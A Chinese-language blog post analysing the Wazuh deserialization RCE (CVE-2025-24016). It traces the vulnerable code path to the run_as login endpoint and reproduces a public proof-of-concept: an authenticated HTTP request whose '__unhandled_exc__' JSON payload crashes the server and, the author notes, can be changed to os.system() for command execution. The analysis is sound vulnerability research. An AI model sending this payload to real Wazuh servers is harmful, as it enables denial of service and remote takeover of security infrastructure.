20250625_开源XDR_wazuh_反序列化RCE

今天看到这个文章
https://www.akamai.com/blog/security-research/2025/jun/botnets-flaw-mirai-spreads-through-wazuh-vulnerability
发现已经被几个mirai僵尸网络利用了,影响面广泛,而且还好用,僵尸网络用的一般就是品相这么香的漏洞,

wazuh是一款开源的XDR软件,其是用在威胁情报告警方面的

那就来看看,官方通告:https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh
image.png
存在于版本4.9.1之前,

看起来问题出在版本 4.4.0 至 4.9.1 之前,存在一个不安全的反序列化漏洞,允许在 Wazuh 服务器上远程执行代码。DistributedAPI 参数被序列化为 JSON 格式,并使用 as_wazuh_object(在 framework/wazuh/core/cluster/common.py 中)进行反序列化。如果攻击者成功地将未经验证的字典注入到 DAPI 请求/响应中,可以伪造一个未处理的异常(__unhandled_exc__)来执行任意 Python 代码

在4.9.0版本的代码https://github.com/wazuh/wazuh/blob/v4.9.0/framework/wazuh/core/cluster/common.py里面找到了这样一个函数:
image.png

而漏洞报告中提到的unhandled_exc
被如此传入到exc_data中,并eval了其class部分内容。。。
image.png

问题来了,传入as_wazuh_object(dct: Dict)的是啥,

image.png
点开其实际引用,典型的就是长这样,看起来是对页面响应的,hook的函数?
image.png
后面知道,这个dapi很关键,其实际上是DistributedAPI缩写,关于分布式请求处理的api,意味着很多请求都得走这,而我们要想触发漏洞,就需要某个生成了dapi类的请求,再进一步执行 distribute_function函数
image.png
这里记住dapi和 distribute_function就好,下面有点没有头绪,反着看吧

poc的起始点在RUN_AS_LOGIN_ENDPOINT = “/security/user/authenticate/run_as”
这里有个叫做middlewares.py的文件,有点像中间件的效果,做了路径上的映射
image.png

对于该端点的处理,会被传入wazuh/api/api/controllers/security_controller.py的run_as_login,以生成用户登录成功的token
image.png
请求内容被json结构化,并传入f_wargs,其请求type是local_master,然后,给了dapi,并且正是执行了 distribute_function
至此,执行的流程梳理出来了,就是,请求 “/security/user/authenticate/run_as”,进入”wazuh/api/api/controllers/security_controller.py”,最后被创建了DistributedAPI,并且执行distribute_function
而如果我们传入的数据带有unhandled_exc,将会被执行代码,当然,这是python代码那种eval,不是shell,当然也简单,os.system()即可

poc

是这位老哥挖的,给出了poc
https://github.com/MuhammadWaseem29/CVE-2025-24016

POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
  "__unhandled_exc__": {
    "__class__": "exit",
    "__args__": []
  }
}

其中:
__unhandled_exc__的__class__存放了会被exec的东西,exit会导致python退出而dos,当然可以改成更具攻击性的
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
实际上是Base64-encoded 化的 “wazuh-wui:MyS3cr37P450r.*-“
奇怪的是我并没有遇到这个默认密码,默认密码看起来更可能是wazuh?
image.png
这意味着这是一个需要经过验证才能利用的rce,

资产数

两个达不溜
image.png

不敢乱打,原理分析到此为止,下播

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
粤ICP备20015830号